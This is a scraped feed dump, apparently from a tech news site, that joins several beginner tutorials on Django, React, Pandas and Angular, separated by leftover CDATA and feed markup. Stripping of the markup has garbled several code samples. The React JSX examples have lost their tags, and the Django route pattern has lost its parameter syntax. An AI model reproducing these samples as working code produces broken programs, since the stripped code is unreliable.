    • A project is an instance of Django with its own database configuration, settings, and apps. It’s best to think of a project as a place to store all the site-level configurations you’ll use.
    • An app is a subdivision of a project, with its own route and rendering logic. Multiple apps can be placed in a single Django project.

    To create a new Django project from scratch, activate the virtual environment where you have Django installed. Then enter the directory where you want to store the project and type:

    django-admin startproject

    The is the name of both the project and the subdirectory where the project will be stored. Be sure to pick a name that isn’t likely to collide with a name used by Python or Django internally. A name like myproj works well.

    The newly created directory should contain a manage.py file, which is used to control the app’s behavior from the command line, along with another subdirectory (also with the project name) that contains the following files:

    • An __init__.py file, which is used by Python to designate a subdirectory as a code module.
    • settings.py, which holds the settings used for the project. Many of the most common settings will be pre-populated for you.
    • urls.py, which lists the routes or URLs available to your Django project, or that the project will return responses for.
    • wsgi.py, which is used by WSGI-compatible web servers, such as Apache HTTP or Nginx, to serve your project’s apps.
    • asgi.py, which is used by ASGI-compatible web servers to serve your project’s apps. ASGI is a relatively new standard for asynchronous servers and applications, and requires a server that supports it, like uvicorn. Django only recently added native support for asynchronous applications, which will also need to be hosted on an async-compatible server to be fully effective.

    Next, test the project to ensure it’s functioning. From the command line in the directory containing your project’s manage.py file, enter:

    python manage.py runserver

    This should start a development web server available at http://127.0.0.1:8000/. Visit that link and you should see a simple welcome page that tells you the installation was successful.

    Note that the development web server should not be used to serve a Django project to the public. It’s solely for local testing and is not designed to scale for public-facing applications.

    Creating a Django application

    Next, we’ll create an application inside of this project. Navigate to the same directory as manage.py and issue the following command:

    python manage.py startapp myapp

    This creates a subdirectory for an application named myapp that contains the following:

    • A migrations directory: Contains code used to migrate the site between versions of its data schema. Django projects typically have a database, so the schema for the database—including changes to the schema—is managed as part of the project.
    • admin.py: Contains objects used by Django’s built-in administration tools. If your app has an admin interface or privileged users, you will configure the related objects here.
    • apps.py: Provides configuration information about the app to the project at large, by way of an AppConfig object.
    • models.py: Contains objects that define data structures, used by your app to interface with databases.
    • tests.py: Contains any tests created by you and used to ensure that your site’s functions and modules are working as intended.
    • views.py: Contains functions that render and return responses.

    To start working with the application, you need to first register it with the project. Edit myproj/settings.py as follows, adding a line to the top of the INSTALLED_APPS list:

    
INSTALLED_APPS = [
    "myapp.apps.MyappConfig",
    "django.contrib.admin",
    ...

    If you look in myproj/myapp/apps.py, you’ll see a pre-generated object named MyappConfig, which we’ve referenced here.

    Adding routes and views to your Django application

    Django applications follow a basic pattern for processing requests:

    • When an incoming request is received, Django parses the URL for a route to apply it to.
    • Routes are defined in urls.py, with each route linked to a view, meaning a function that returns data to be sent back to the client. Views can be located anywhere in a Django project, but they’re best organized into their own modules.
    • Views can contain the results of a template, which is code that formats requested data according to a certain design.

    To get an idea of how all these pieces fit together, let’s modify the default route of our sample application to return a custom message.

    Routes are defined in urls.py, in a list named urlpatterns. If you open the sample urls.py, you’ll see urlpatterns already predefined:

    
urlpatterns = [
    path('admin/', admin.site.urls),
]

    The path function (a Django built-in) takes a route and a view function as arguments and generates a reference to a URL path. By default, Django creates an admin path that is used for site administration, but we need to create our own routes.

    Add another entry, so that the whole file looks like this:

    
from django.contrib import admin
from django.urls import include, path

urlpatterns = [
    path('admin/', admin.site.urls),
    path('myapp/', include('myapp.urls'))
]

    The include function tells Django to look for more route pattern information in the file myapp.urls. All routes found in that file will be attached to the top-level route myapp (e.g., http://127.0.0.1:8080/myapp).

    Next, create a new urls.py in myapp and add the following:

    
from django.urls import path
from . import views

urlpatterns = [
    path('', views.index)
]

    Django prepends a slash to the beginning of each URL, so to specify the root of the site (/), we just supply a blank string as the URL.

    Now, edit the file myapp/views.py so it looks like this:

    
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

    django.http.HttpResponse is a Django built-in that generates an HTTP response from a supplied string. Note that request, which contains the information for an incoming HTTP request, must be passed as the first parameter to a view function.

    Stop and restart the development server, and navigate to http://127.0.0.1:8000/myapp/. You should see “”Hello, world!” appear in the browser.

    Adding routes with variables in Django

    Django can accept routes that incorporate variables as part of their syntax. Let’s say you wanted to accept URLs that had the format year/. You could accomplish that by adding the following entry to urlpatterns:

    path(‘year/’, views.year)

    The view function views.year would then be invoked through routes like year/1996, year/2010, and so on, with the variable year passed as a parameter to views.year.

    To try this out for yourself, add the above urlpatterns entry to myapp/urls.py, then add this function to myapp/views.py:

    
def year(request, year):
    return HttpResponse('Year: {}'.format(year))

    If you navigate to /myapp/year/2010 on your site, you should see Year: 2010 displayed in response. Note that routes like /myapp/year/rutabaga will yield an error because the int: constraint on the variable year allows only an integer in that position. Many other formatting options are available for routes.

    Django templates and template partials

    You can use Django’s built-in template language to generate web pages from data.

    Templates used by Django apps are stored in a directory that is central to the project: /templates//. For our myapp project, the directory would be myapp/templates/myapp/. This directory structure may seem awkward, but allowing Django to look for templates in multiple places avoids name collisions between templates with the same name across multiple apps.

    In your myapp/templates/myapp/ directory, create a file named year.html with the following content:

    Year: {{year}}

    Any value within double curly braces in a template is treated as a variable. Everything else is treated literally.

    Modify myapp/views.py to look like this:

    
from django.shortcuts import render
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

def year(request, year):
    data = {'year':year}
    return render(request, 'myapp/year.html', data)

    The render function—a Django “shortcut” (a combination of multiple built-ins for convenience)—takes the existing request object, looks for the template myapp/year.html in the list of available template locations, and passes the dictionary data to it as context for the template. The template uses the dictionary as a namespace for variables used in the template. In this case, the variable {{year}} in the template is replaced with the value for the key year in the dictionary data (that is, data["year"]).

    The amount of processing you can do on data within Django templates is intentionally limited. Django’s philosophy is to enforce the separation of presentation and business logic whenever possible. Thus, you can loop through an iterable object, and you can perform if/then/else tests, but modifying the data within a template is discouraged.

    For instance, you could encode a simple “if” test this way:

    
{% if year > 2000 %}
21st century year: {{year}}
{% else %}
Pre-21st century year: {{year}}
{% endif %}

    The {% and %} markers delimit blocks of code that can be executed in Django’s template language.

    If you want to use a more sophisticated template processing language, you can swap in something like Jinja2 or Mako. Django includes back-end integration for Jinja2, but you can use any template language that returns a string—for instance, by returning that string in an HttpResponse object, as in the case of our “Hello, world!” route.

    In versions 6 and up, Django supports template partials, a way to create portions of a template that can be defined once and reused throughout a template. This lets you precompute a given value once over the course of a given template—such as a fancy display version of a user name—and re-use it without having to recompute it each time it’s displayed.

    Doing more with Django

    What you’ve seen here covers only the most basic elements of a Django application. Django includes a great many other components for use in web projects. Here’s a quick overview:

    • Databases and data models: Django’s built-in ORM lets you define data structures and relationships between them, as well as migration paths between versions of those structures.
    • Forms: Django provides a consistent way for views to supply input forms to a user, retrieve data, normalize the results, and provide consistent error reporting. Django 6 added support for Content Security Policy, a way to prevent submitted forms from being vulnerable to content injection or cross-site scripting (XSS) attacks.
    • Security and utilities: Django includes many built-in functions for caching, logging, session handling, handling static files, and normalizing URLs. It also bundles tools for common security needs like using cryptographic certificates or guarding against cross-site forgery protection or clickjacking.
    • Tasks: Django 6 added a native mechanisms for creating and managing long-running background tasks, without holding up a response to the user. Note that Django only provides ways to set up and keep track of tasks; it doesn’t include the actual execution mechanism. The only included back ends for tasks are for testing, so you will either need to add a third-party solution or write your own using Django’s back-end task code as a base.
    ]]>         <![CDATA[React tutorial: Get started with the React JavaScript library]]> https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/ https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/ Mon, 13 Jul 2026 17:04:31 +0200 🔧 AI Nachrichten tsecurity.de

    Despite many worthy contenders, React remains the most popular front-end framework, and a key player in the JavaScript development landscape. React is the quintessential reactive engine, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React is now part of Meta Open Source. For developers new to JavaScript and web development, this tutorial will get you started with this vital technology.

    React is not only a front-end framework, but is a component in full-stack frameworks like Next.js. Newer additions like React server-side rendering (SSR) and React server components (RSC) further blur the line between server and client.

    Also see: Is the React compiler ready for primetime?

    Why React?

    React’s prominence makes it an obvious choice for developers just starting out with web development. It is often chosen for its ability to offer a smooth and encompassing developer experience (DX), which distinguishes it from frameworks like Vue, Angular, and Svelte. It could be said that React’s true “killer feature” is the perks that come with longstanding popularity: learning resources, community support, libraries, and developers are all plentiful in the React ecosystem.

    Installing React

    Real-world React requires running on the server with a build tool, which we will explore in the next section. But to get your feet wet, we can start out with an online playground. There are several high-quality playgrounds for React, including full-blown environments like StackBlitz or Codesandbox. For a quick taste, we will use PlayCode React.

    When you first open it, PlayCode React gives you a basic layout like the one shown here:

    A screenshot shows the layout of a basic Rwact JavaScript application.

    Matthew Tyson

    The menu on the left is the file explorer, at the top is the code window, and at the bottom are the console (on the left) and the preview pane (on the right).

    From this screenshot, you can see how the content of the code is displayed on the preview pane, but this basic layout doesn’t use any variables (or “state,” as it’s known in React). It does let you see some of the plumbing, like the React library import and the exported App function.

    Modern React is functional. The App function has a return value that is the actual output for the component. The component’s return is specified by JSX, a templating language that lets you use HTML along with variables and JavaScript expressions. Right now, the app just has some simple markup.

    The classic example you see next is a “Counter” that lets you increase and decrease a displayed value using buttons. We’ll do a slight “Spinal Tap” variation of this, where the counter only goes to 11 and displays a message:

    A screenshot of a counter app developed in React.

    Matthew Tyson

    You can take a look at the running example here, and the full code for the example is below:

    import React, { useState } from 'react';

export function App() {
  // 1. The State
  const [volume, setVolume] = useState(0);

  return (
    
    
      
    Spinal Tap Amp 🎸
    
     
      {/* 2. The "View" (Displaying the state) */}
      
    
        {volume}
      
    

      
    
        {/* 3. The Actions */
        
       
        
      
    

      {/* 4. Conditional */}
      {volume === 11 &&
        
    "Why don't you just make ten louder?"
    
      }
    
    
  );
}

    If you play with the example, you’ll see that moving the buttons changes the value, and the display automatically reflects the change. This is the essential magic of a reactive engine like React. The state is a managed variable that React automatically updates and displays. State is declared like so:

    const [volume, setVolume] = useState(0);

    The syntax is a bit funky if you are coming from straight JavaScript, but most developers can adapt to it quickly. Basically, useState(0) says, with a default value 0, give me a variable, volume, and a function to set it, setVolume.

    To display the value in the view, we use: {volume}.

    To modify the value, we use button event handlers. For example, to increment, we’d do:

    To modify the value, we use buttons event handlers.  For example, to increment:

onClick={() => setVolume(volume + 1)

    Here we’ve directly modified the volume state, and React will update accordingly. If we wanted to, we could call a function (for example, if the logic were more involved).

    Finally, when the value reaches 11, we display a message. This syntax is idiomatic React, and uses an embedded JavaScript equality check:

    {volume === 11 &&
  
    "Why don't you just make ten louder?"
    
}

    The check says, if volume is 11, then display the

    markup.

    Using a build tool with React

    Once upon a time, when NVIDIA was nothing but a graphics card, it was quite a bit of work assembling a good build chain for React. These days, the process is much simpler, and the once ubiquitous create-react-app option is no more. Vite is now the standard choice for launching a new app from the React terminal, so that’s the approach you’ll learn here.

    With that said, there are a few alternatives worth mentioning. VS Code has extensions that will provide you with templates or scaffolding, but what’s becoming more common is using an AI coding assistant. A tool like Copilot, ChatGPT, or Gemini can take a prompt describing the basics of the application in question, including the instruction to use React, and produce a basic React layout for you. AI assistants are available in both command-line and VS Code extension flavors. Or, for an even more forward-looking option, you could use something like Firebase Studio.

    But enough about alternatives—Vite is the standard for a reason. It is repeatable, capable, and fast. To launch a new Vite app, you just enter the following in your command line:

    $ npm create vite@latest

    The interactive tool will walk you through the process, starting with selecting React as your technology:

    A screenshot of the Vite CLI showing the option to select React.

    Matthew Tyson

    Use your own preferences for the other options (like using TypeScript versus JavaScript) and accept the option to install and launch the app immediately. Afterward, you’ll see a simple demo like this one:

    A screenshot showing the Vite demo app built with React.

    Matthew Tyson

    The demo app has a counter component like the one we built earlier. If you Ctrl-c (or Cmd-c) to kill the Vite process running in the terminal, you can cd into the new directory. From there, you can see where the counter component is defined, in src/App.jsx (or App.tsx if you have selected TypeScript like I have).

    It’s worth looking at that file to see how React appears on the server:

    src/App.tsx
import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      
      
    Vite + React
    
      
    
        
        
    
          Edit src/App.tsx and save to test HMR
        
    
      
    
      
    
        Click on the Vite and React logos to learn more
      
    
    >
  )
}

export default App</code>

    Notice we export the App as a module, which is used by the src/main.tsx file to display the component in the view. That file creates the bridge between the respective worlds of React and HTML:

    import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  
    
  ,
)

    Don’t worry too much about the details of how React bootstraps itself with createRoot and the render call (which you won’t have to interact with on a regular basis). The important thing is how the App component is imported and then used with the JSX.

    Note

    Strict mode adds warning during dev mode to help you catch component bugs early.

    There are a few rules to bear in mind when using JSX, the templating language of React:

    • HTML elements are lowercase (
      , ), but components are uppercase (, ).
    • You can’t just type “class” in JSX; instead, use className; e.g.,
      .
    • To access the realm of JavaScript (and the application state) from within JSX, use curly braces: {2 + 2 != 5}.

      • React components and props

      The main organizational concept in React is the component. Components are used to contain the functionality for a part of the view within a self-contained package. We’ve seen a component in action already with but it might be a little obscure, so let’s add another simple component to enhance the demonstration. This component also lets us explore another key part of React: Props.

      To start, let’s create a display of the counter value influenced by the Rob Reiner movie This Is Spinal Tap. To start, we create a new file at src/VolumeDisplay.jsx:

      // src/VolumeDisplay.jsx

export function VolumeDisplay({ level }) {
  return (
    
      
      {/* The Dial */}
      
      = 11 ? '#d32f2f' : '#f0f0f0',
        color: level >= 11 ? 'white' : 'black',
        transition: 'all 0.2s ease'
      }}>
        {level}
      
      

      {/* The Message */}
      {level >= 11 && (
        
      
          "These go to eleven." 🤘
        
      
      )}
    
      
  );
}

      This is a simple display but there are a couple of things worth noting about it.

      One is that we accept a prop (a property) “from above” with VolumeDisplay({ level }). This tells whatever parent component uses this one that VolumeDisplay accepts a single property, called level. VolumeDisplay uses the property by displaying it (though it adds a bit of fancying up using conditional logic like we have already seen).

      The way we define the CSS values, inside the double braces, {{ }}, and as a map of value is idiomatic React. (It isn’t essential at this point to grasp why it works that way, but basically, it is the JSX token { } with a JavaScript map of CSS values using JavaScript-friendly camel-cased names, like justifyContent.)

      Now, to utilize this component, we can go to App.jsx, and make two changes:

      import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'
// 1. Import our new component
import { VolumeDisplay } from './VolumeDisplay'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      
      
      Vite + React
      
      
      
        
        {/* 2. Pass the 'count' state into the 'level' prop */}
      
        
      
          Edit src/App.tsx and save to test HMR
        
      
      
      
      
      
        Click on the Vite and React logos to learn more
      
      
    >
  )
}

export default App</code>

      Here, we’ve done two things: imported the new component and used it in the view.

      Notice, also, that the line passes the existing count state variable into VolumeDisplay as a prop. React will do the work of ensuring that whenever count changes, the VolumeDisplay will also be updated, including any dependent logic such as the conditional statements.

      Now, if we run the code like so:

      $ npm run dev

      We get what you see in the screenshot below:

      A screenshot of the running demo app built with Vite and React.

      Matthew Tyson

      Conclusion

      The world is now your oyster, at least within the realm of JavaScript web development. Not only is React wildly popular, its basic ideas are applicable to a host of other innovative frameworks, including Svelte and Solid. (To get some idea of the alternatives, just type npm create vite@latest and look at all the available technologies.) Now that you have a basic introduction, a good next step for learning would be to add an control that allows typing in the volume manually. Happy coding!

    ]]>         <![CDATA[How to use Pandas for data analysis in Python]]> https://tsecurity.de/de/3665666/ai-nachrichten/how-to-use-pandas-for-data-analysis-in-python/ https://tsecurity.de/de/3665666/ai-nachrichten/how-to-use-pandas-for-data-analysis-in-python/ Mon, 13 Jul 2026 17:04:28 +0200 🔧 AI Nachrichten tsecurity.de

    When it comes to working with data in a tabular form, most people reach for a spreadsheet. That’s not a bad choice: Microsoft Excel and similar programs are familiar and loaded with functionality for massaging tables of data. But what if you want more control, precision, and power than Excel alone delivers?

    In that case, the open source Pandas library for Python might be what you are looking for. Pandas augments Python with new data types for loading data fast from tabular sources, and for manipulating, aligning, merging, and doing other processing at scale.

    Your first Pandas data set

    Pandas is not part of the Python standard library. It’s a third-party project, so you’ll need to install it in your Python runtime with pip install pandas. Once installed, you can import it into Python with import pandas.

    Pandas gives you two new data types: Series and DataFrame. The DataFrame represents your entire spreadsheet or rectangular data, whereas the Series is a single column of the DataFrame. In Python terms, you can think of the Pandas DataFrame as a dictionary or collection of Series objects. You’ll also find later that you can use dictionary- and list-like methods for finding elements in a DataFrame.

    You typically work with Pandas by importing data from some other format. A common external tabular data format is CSV, a text file with values separated by commas. If you have a CSV handy, you can use it. For this article, we’ll be using an excerpt from the Gapminder data set prepared by Jennifer Bryan from the University of British Columbia.

    To begin using Pandas, we first import the library. Note that it’s a common practice to alias the Pandas library as pd to save some typing:

    import pandas as pd

    To start working with the sample data in CSV format, we can load it in as a dataframe using the pd.read_csv function:

    df = pd.read_csv("./gapminder/inst/extdata/gapminder.tsv", sep='t')

    The sep parameter lets us specify that the file is tab-delimited rather than comma-delimited.

    Once you’ve loaded the data, you can use the .head() method on the dataframe to peek at its formatting and ensure it’s loaded correctly. .head() is a convenience method used to display the first few rows of a dataframe for quick inspection. The results for the Gapminder data should look like this:

    print(df.head())
       country continent  year  lifeExp       pop   gdpPercap
0  Afghanistan      Asia  1952   28.801   8425333  779.445314
1  Afghanistan      Asia  1957   30.332   9240934  820.853030
2  Afghanistan      Asia  1962   31.997  10267083  853.100710
3  Afghanistan      Asia  1967   34.020  11537966  836.197138
4  Afghanistan      Asia  1972   36.088  13079460  739.981106

    Dataframe objects have a shape attribute that reports the number of rows and columns in the dataframe:

    print(df.shape)
(1704, 6) # rows, cols

    To list the names of the columns themselves, use .columns:

    print(df.columns)
Index(['country', 'continent', 'year', 'lifeExp',
'pop', 'gdpPercap'], dtype='object')

    Dataframes in Pandas work much the same way as they do in other languages, such as Julia and R. Each column, or Series, must be the same type, whereas each row can contain mixed types. For instance, in the current example, the country column will always be a string, and the year column is always an integer. We can verify this by using .dtypes to list the data type of each column:

    print(df.dtypes)
country object
continent object
year int64
lifeExp float64
pop int64
gdpPercap float64
dtype: object

    For an even more explicit breakdown of your dataframe’s types, you can use .info():

    df.info() # information is written to console, so no print required

RangeIndex: 1704 entries, 0 to 1703
Data columns (total 6 columns):
 #   Column     Non-Null Count  Dtype
---  ------     --------------  -----
 0   country    1704 non-null   object
 1   continent  1704 non-null   object
 2   year       1704 non-null   int64
 3   lifeExp    1704 non-null   float64
 4   pop        1704 non-null   int64
 5   gdpPercap  1704 non-null   float64
dtypes: float64(2), int64(2), object(2)
memory usage: 80.0+ KB

    Each Pandas data type maps to a native Python data type:

    • object is handled as a Python str type. (More on this below.)
    • int64 is handled as a Python int. Note that not all Python ints can be converted to int64 types; anything larger than (2 ** 63)-1 will not convert to int64.
    • float64 is handled as a Python float (which is a 64-bit float natively).
    • datetime64 is handled as a Python datetime.datetime object. Note that Pandas does not automatically try to convert something that looks like a date into date values; you must tell Pandas you want the conversion done for a specific column.

    Any data that’s not a native Pandas type—essentially, anything that’s not a number—is stored as a generic NumPy type named object. If you have an object column in a dataframe, it’s worth making sure that data is not being used as part of any computational work, as you’ll get none of the performance benefits of using a numerical type (int64, float64, etc.).

    Traditionally, strings have been represented as an object. As of Pandas 2.3 or higher, there’s an option to use a new dedicated str type, which has better Panda-native behaviors (such as a more explicit type for the data and more efficient storage). To enable this behavior, you’d use the command pd.options.future.infer_string = True at the top of your code.

    Pandas columns, rows, and cells

    Now that you’re able to load a simple data file, you want to be able to inspect its contents. You could print the contents of the dataframe, but most dataframes are too big to inspect by printing.

    A better approach is to look at subsets of the data, as we did with df.head(), but with more control. Pandas lets you use Python’s existing syntax for indexing and creating slices to make excerpts from dataframes.

    Extracting Pandas columns

    To examine columns in a Pandas dataframe, you can extract them by their names, positions, or by ranges. For instance, if you want a specific column from your data, you can request it by name using square brackets:

    # extract the column "country" into its own dataframe
country_df = df["country"]

# show the first five rows
print(country_df.head())
| 0 Afghanistan
| 1 Afghanistan
| 2 Afghanistan
| 3 Afghanistan
| 4 Afghanistan
Name: country, dtype: object

# show the last five rows
print(country_df.tail())
| 1699  Zimbabwe
| 1700  Zimbabwe
| 1701  Zimbabwe
| 1702  Zimbabwe
| 1703  Zimbabwe
| Name: country, dtype: object

    If you want to extract multiple columns, pass a list of the column names:

    # Looking at country, continent, and year
subset = df[['country', 'continent', 'year']]

print(subset.head())
       country continent  year
| 0  Afghanistan    Asia  1952
| 1  Afghanistan    Asia  1957
| 2  Afghanistan    Asia  1962
| 3  Afghanistan    Asia  1967
| 4  Afghanistan    Asia  1972

print(subset.tail())
         country continent    year
| 1699  Zimbabwe    Africa    1987
| 1700  Zimbabwe    Africa    1992
| 1701  Zimbabwe    Africa    1997
| 1702  Zimbabwe    Africa    2002
| 1703  Zimbabwe    Africa    2007

    Subsetting rows

    If you want to extract rows from a dataframe, you can use one of two methods.

    .iloc[] is the simplest method. It extracts rows based on their position, starting at 0. For fetching the first row in the above dataframe example, you’d use df.iloc[0].

    If you want to fetch a range of rows, you can use .iloc[] with Python’s slicing syntax. For instance, for the first 10 rows, you’d use df.iloc[0:10]. And if you wanted to obtain the last 10 rows in reverse order, you’d use df.iloc[::-1].

    If you want to extract specific rows, you can use a list of the row IDs; for example, df.iloc[[0,1,2,5,7,10,12]]. (Note the double brackets—that means you’re providing a list as the first argument.)

    Another way to extract rows is with .loc[]. This extracts a subset based on labels for rows. By default, rows are labeled with an incrementing integer value starting with 0. But data can also be labeled manually by setting the dataframe’s .index property.

    For instance, if we wanted to re-index the above dataframe so that each row had an index using multiples of 100, we could use df.index = range(0, len(df)*100, 100). Then, if we used, df.loc[100], we’d get the second row.

    Subsetting columns

    If you want to retrieve only a certain subset of columns along with your row slices, you do this by passing a list of columns as a second argument:

    df.loc[[rows], [columns]]

    For instance, with the above dataset, if we want to get only the country and year columns for all rows, we’d do this:

    df.loc[:, ["country","year"]]

    The : in the first position means “all rows” (it’s Python’s slicing syntax). The list of columns follows after the comma.

    You can also specify columns by position when using .iloc:

    df.iloc[:, [0,2]]

    Or, to get just the first three columns:

    df.iloc[:, 0:3]

    All of these approaches can be combined, as long as you remember loc is used for labels and column names, and iloc is used for numeric indexes. The following tells Pandas to extract the first 100 rows by their numeric labels, and then from that to extract the first three columns by their indexes:

    df.loc[0:100].iloc[:, 0:3]

    It’s generally least confusing to use actual column names when subsetting data. It makes the code easier to read, and you don’t have to refer back to the dataset to figure out which column corresponds to what index. It also protects you from mistakes if columns are re-ordered.

    Grouped and aggregated calculations

    Spreadsheets and number-crunching libraries all come with methods for generating statistics about data. Consider the Gapminder data again:

    
print(df.head(n=10))
|    country      continent  year  lifeExp  pop       gdpPercap
| 0  Afghanistan  Asia       1952  28.801    8425333  779.445314
| 1  Afghanistan  Asia       1957  30.332    9240934  820.853030
| 2  Afghanistan  Asia       1962  31.997   10267083  853.100710
| 3  Afghanistan  Asia       1967  34.020   11537966  836.197138
| 4  Afghanistan  Asia       1972  36.088   13079460  739.981106
| 5  Afghanistan  Asia       1977  38.438   14880372  786.113360
| 6  Afghanistan  Asia       1982  39.854   12881816  978.011439
| 7  Afghanistan  Asia       1987  40.822   13867957  852.395945
| 8  Afghanistan  Asia       1992  41.674   16317921  649.341395
| 9  Afghanistan  Asia       1997  41.763   22227415  635.341351

    Here are some examples of questions we could ask about this data:

    1. What’s the average life expectancy for each year in this data?
    2. What if I want averages across the years and the continents?
    3. How do I count how many countries in this data are in each continent?

    The way to answer these questions with Pandas is to perform a grouped or aggregated calculation. We can split the data along certain lines, apply some calculation to each split segment, and then re-combine the results into a new dataframe.

    Grouped means counts

    The first method we’d use for this is Pandas’s df.groupby() operation. We provide a column we want to split the data by:

    df.groupby("year")

    This allows us to treat all rows with the same year value together, as a distinct object from the dataframe itself.

    From there, we can use the “life expectancy” column and calculate its per-year mean:

    
print(df.groupby('year')['lifeExp'].mean())
year
1952 49.057620
1957 51.507401
1962 53.609249
1967 55.678290
1972 57.647386
1977 59.570157
1982 61.533197
1987 63.212613
1992 64.160338
1997 65.014676
2002 65.694923
2007 67.007423

    This gives us the mean life expectancy for all populations, by year. We could perform the same kinds of calculations for population and GDP by year:

    
print(df.groupby('year')['pop'].mean())
print(df.groupby('year')['gdpPercap'].mean())

    So far, so good. But what if we want to group our data by more than one column? We can do this by passing columns in lists:

    
print(df.groupby(['year', 'continent'])
  [['lifeExp', 'gdpPercap']].mean())
                  lifeExp     gdpPercap
year continent
1952 Africa     39.135500   1252.572466
     Americas   53.279840   4079.062552
     Asia       46.314394   5195.484004
     Europe     64.408500   5661.057435
     Oceania    69.255000  10298.085650
1957 Africa     41.266346   1385.236062
     Americas   55.960280   4616.043733
     Asia       49.318544   5787.732940
     Europe     66.703067   6963.012816
     Oceania    70.295000  11598.522455
1962 Africa     43.319442   1598.078825
     Americas   58.398760   4901.541870
     Asia       51.563223   5729.369625
     Europe     68.539233   8365.486814
     Oceania    71.085000  12696.452430

    This .groupby() operation takes our data and groups it first by year, and then by continent. Then, it generates mean values from the life-expectancy and GDP columns. This way, you can create groups in your data and rank how they are to be presented and calculated.

    If you want to “flatten” the results into a single, incrementally indexed frame, you can use the .reset_index() method on the results:

    
gb = df.groupby(['year', 'continent'])
[['lifeExp', 'gdpPercap']].mean()
flat = gb.reset_index() 
print(flat.head())
|     year  continent  lifeExp    gdpPercap
| 0   1952  Africa     39.135500   1252.572466
| 1   1952  Americas   53.279840   4079.062552
| 2   1952  Asia       46.314394   5195.484004
| 3   1952  Europe     64.408500   5661.057435
| 4   1952  Oceana     69.255000  10298.085650

    Grouped frequency counts

    Something else we often do with data is compute frequencies. The nunique and value_counts methods can be used to get unique values in a series, and their frequencies. For instance, here’s how to find out how many countries we have in each continent:

    
print(df.groupby('continent')['country'].nunique()) 
continent
Africa    52
Americas  25
Asia      33
Europe    30
Oceana     2

    Basic plotting with Pandas and Matplotlib

    Most of the time, when you want to visualize data, you’ll use another library such as Matplotlib to generate those graphics. However, you can use Matplotlib directly (along with some other plotting libraries) to generate visualizations from within Pandas.

    To use the simple Matplotlib extension for Pandas, first make sure you’ve installed Matplotlib with pip install matplotlib.

    Now let’s look at the yearly life expectancies for the world population again:

    
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
print(global_yearly_life_expectancy) 
| year
| 1952  49.057620
| 1957  51.507401
| 1962  53.609249
| 1967  55.678290
| 1972  57.647386
| 1977  59.570157
| 1982  61.533197
| 1987  63.212613
| 1992  64.160338
| 1997  65.014676
| 2002  65.694923
| 2007  67.007423
| Name: lifeExp, dtype: float64

    To create a basic plot from this, use:

    
import matplotlib.pyplot as plt
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
c = global_yearly_life_expectancy.plot().get_figure()
plt.savefig("output.png")

    The plot will be saved to a file in the current working directory as output.png. The axes and other labeling on the plot can all be set manually, but for quick exports this method works fine.

    Conclusion

    Python and Pandas offer many features you can’t get from spreadsheets. For one, they let you automate your work with data and make the results reproducible. Rather than write spreadsheet macros, which are clunky and limited, you can use Pandas to analyze, segment, and transform data—and use Python’s expressive power and package ecosystem (for instance, for graphing or rendering data to other formats) to do even more than you could with Pandas alone.

    ]]>         <![CDATA[Get started with Angular: Introducing the modern reactive workflow]]> https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/ https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/ Mon, 13 Jul 2026 17:04:25 +0200 🔧 AI Nachrichten tsecurity.de

    Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to React, many of those issues were addressed in Angular 19. Modern Angular is built around the Signals API and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.

    Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more community engaged development philosophy. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.

    Why choose Angular?

    Choosing a JavaScript development framework sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.

    Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a meta-framework for either style of development.

    While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.

    Also see: Catching up with Angular 19.

    Getting started with Angular

    With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:

    $ node -v
$ npm -v

    Next, you can use the Angular CLI to launch a new app:

    $ ng new iw-ng

    You can use the defaults in your responses to the interactive prompts shown here:

    A screenshot of a new project setup in the Angular command-line interface.

    Matthew Tyson

    We now have a basic project layout in the new directory, which you can import into an IDE (such as VS Code) or edit directly.

    Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:

    • src/main.ts: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.
    • src/index.html: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.
    • src/app/app.ts: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the root element that appears in src/index.html.)
    • src/app/app.config.ts: This file is new in modern Angular and replaces the old AppModule providers array. It is where you configure global services, like the router or HTTP client.
